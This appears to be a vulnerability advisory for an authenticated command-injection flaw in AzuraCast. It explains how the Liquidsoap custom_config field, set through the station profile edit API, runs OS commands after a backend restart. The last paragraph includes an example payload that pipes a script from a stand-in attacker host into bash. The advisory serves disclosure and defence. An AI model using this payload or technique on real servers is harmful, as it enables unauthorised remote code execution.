AzuraCast EUVD-2026-65008

Exploitation requires a valid AzuraCast account with StationPermissions::Profile assigned for the target station - this is the specific permission granted to station managers for general profile editing and is intentionally positioned below the StationPermissions::Broadcasting permission that governs the dedicated Liquidsoap configuration endpoint. The attacker must have network access to the AzuraCast web API and knowledge of the target station's numeric ID (which is typically discoverable through other authenticated API calls). The installation must use Liquidsoap as the streaming backend, which is the default for AzuraCast; deployments relying solely on remote relay backends do not generate Liquidsoap .liq scripts and may not be exploitable. OS command execution is deferred until the next Liquidsoap backend restart, which the built-in sync task triggers automatically whenever needs_restart is set - this is normal operational behavior and does not require any additional attacker action. Exploitation is bounded by the PR:L authentication requirement: unauthenticated network access is not sufficient. No special platform, OS configuration, feature flag, or non-default AzuraCast setting is required beyond a standard installation with Liquidsoap enabled.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) scoring 8.7 accurately captures the core risk profile: the attack is network-accessible, structurally simple, and requires only a low-privilege station manager credential - a role commonly assigned to non-administrative contributors in multi-tenant AzuraCast deployments. Attack complexity is genuinely low because the serialization group bypass is a deterministic structural flaw requiring no memory corruption, timing, or race conditions. The automatic backend restart via the sync task means code execution is reliable and asynchronous, not requiring the attacker to repeatedly probe the system after injection. No EPSS score was provided in the input data; this CVE is not in the CISA KEV catalog and no public exploit code has been identified, so real-world exploitation probability cannot be quantified beyond what the CVSS vector implies. The primary limiting factor is the PR:L requirement - exploitation is not possible without a valid station manager account, which restricts the attack surface to insider threats and compromised credentials rather than opportunistic internet scanning. Organizations running AzuraCast in multi-tenant configurations where station manager credentials are issued to external or semi-trusted parties face the highest realistic risk; single-operator deployments where all accounts are fully trusted are less exposed in practice.

An authenticated AzuraCast station manager submits a crafted PUT request to /api/station/{station_id}/profile/edit with a JSON body containing a malicious Liquidsoap snippet such as process.run("curl http://attacker.example/shell.sh | bash") embedded in the custom_config field. AzuraCast's GROUP_GENERAL deserialization group accepts the payload through AbstractArrayEntity::fromArray() without field-level permission validation, and ConfigWriter::writeCustomConfigurationSection() writes the injected code verbatim into the generated .liq script. When the built-in sync task detects needs_restart and restarts the Liquidsoap backend - a normal operational event requiring no further attacker action - the injected OS command executes with the privileges of the AzuraCast backend process.